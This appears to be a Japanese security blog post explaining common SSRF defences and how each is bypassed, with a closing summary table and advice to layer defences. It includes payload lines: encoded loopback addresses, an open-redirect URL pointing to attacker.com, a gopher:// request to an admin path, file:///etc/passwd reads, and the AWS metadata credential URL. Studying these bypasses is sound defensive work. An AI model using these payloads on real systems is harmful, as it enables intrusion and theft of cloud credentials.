Hello there, ('ω')ノ
1. よくあるSSRF対策と回避方法
① ローカルIP(127.0.0.1、内部ネットワーク)へのリクエスト制限
🔹 対策
- 127.0.0.1
や localhost
、192.168.x.x
などの プライベートIPレンジ へのアクセスをブロックする
🔸 回避方法
1. DNSリバインディング
- 攻撃者が 一時的に外部ドメインを正規のサーバーに解決 させることで、ローカルIPへのリクエストを実行できる
- 例:
- evil.com
のDNSを 攻撃者のサーバー(外部IP)に向ける
- SSRFリクエストが送信された直後に evil.com
のDNSを 127.0.0.1 に変更
- これにより、SSRFを使って内部ネットワークにアクセス可能 になる
- 変形したIPアドレスを使用
127.0.0.1
のような ブロック対象のIPアドレス を異なる表現で記述すると、フィルタを回避できることがある- 例:
plaintext http://2130706433 # 127.0.0.1 を整数表記 http://0x7F000001 # 16進数表記 http://0177.0000.0000.0001 # 8進数表記
- これらの形式は 最終的に127.0.0.1に変換されるため、SSRF攻撃が可能になる
② ホワイトリストベースのURLフィルタリング
🔹 対策
- stock.weliketoshop.net
のような 特定のドメインのみ許可 するホワイトリストを適用
🔸 回避方法
1. オープンリダイレクトを利用
- 許可されたドメインにリクエストを送った後、攻撃者の用意したページへリダイレクトさせる
- 例:
http
stockApi=http://stock.weliketoshop.net/redirect?url=http://attacker.com
- これにより、リクエストが外部サーバーへ転送される
- サブドメインの利用
- ホワイトリストが
*.weliketoshop.net
を許可している場合、攻撃者はevil.weliketoshop.net
という 悪意のあるサブドメイン を作成して利用できる
- ホワイトリストが
③ URLスキーム(http/https)の制限
🔹 対策
- file://
や gopher://
などの 危険なプロトコルを禁止 し、http
や https
のみ許可する
🔸 回避方法
期待されるプロトコルに見せかける
- 一部のサーバーでは、リクエストのエンコード処理にバグがある ため、特定の形式でスキームを変更できる
- 例:
plaintext gopher://127.0.0.1:80/_GET%20/admin%20HTTP/1.1%0A
gopher://
プロトコルを使うと、任意のHTTPリクエストを作成できる ため、内部APIや管理パネルを操作可能
FTPやFILEプロトコルを利用
file://
やftp://
を利用すると、サーバーの内部ファイルを読み取れる場合がある- 例:
plaintext file:///etc/passwd # Linuxのユーザー情報を取得 ftp://127.0.0.1/etc/passwd
- 設定ファイルや環境変数ファイル(.env)を取得できる場合もある
④ SSRF対策として外部リクエストをブロック
🔹 対策
- サーバーが 外部へのリクエストを完全にブロック し、SSRFを実行できないようにする
🔸 回避方法
クラウドメタデータAPIの悪用
- AWS / GCP / Azure などのクラウド環境では、メタデータAPIがローカルIPでアクセス可能
- 例:AWSのIAMキーを取得
http stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/
- これにより、クラウドアカウントを乗っ取れる可能性がある
内部リクエストが許可されている場合を利用
- アプリケーションのバックエンドAPI にはアクセスできるが、外部サイトにはアクセスできない場合、バックエンドAPIを悪用する
- 例:
http://backend.internal/api/getUser?user=admin
- ここにSSRFを送って、内部データを取得する
2. まとめ
対策 | 回避方法 |
---|---|
ローカルIPの制限 | DNSリバインディング、IPエンコード(16進数、8進数) |
ホワイトリストの適用 | オープンリダイレクト、サブドメイン攻撃 |
URLスキーム制限 | gopher:// でHTTPリクエスト作成、file:// でファイル取得 |
外部リクエストブロック | クラウドメタデータAPI(169.254.169.254)を悪用、内部APIの利用 |
🔥 SSRFの防御策は完全ではなく、適切に設計しないと簡単に回避される可能性がある!
✅ 多層的な対策(WAF、ファイアウォール、ネットワーク分離、アプリケーションレイヤーでのバリデーション)を適用することが重要!
Best regards, (^^ゞ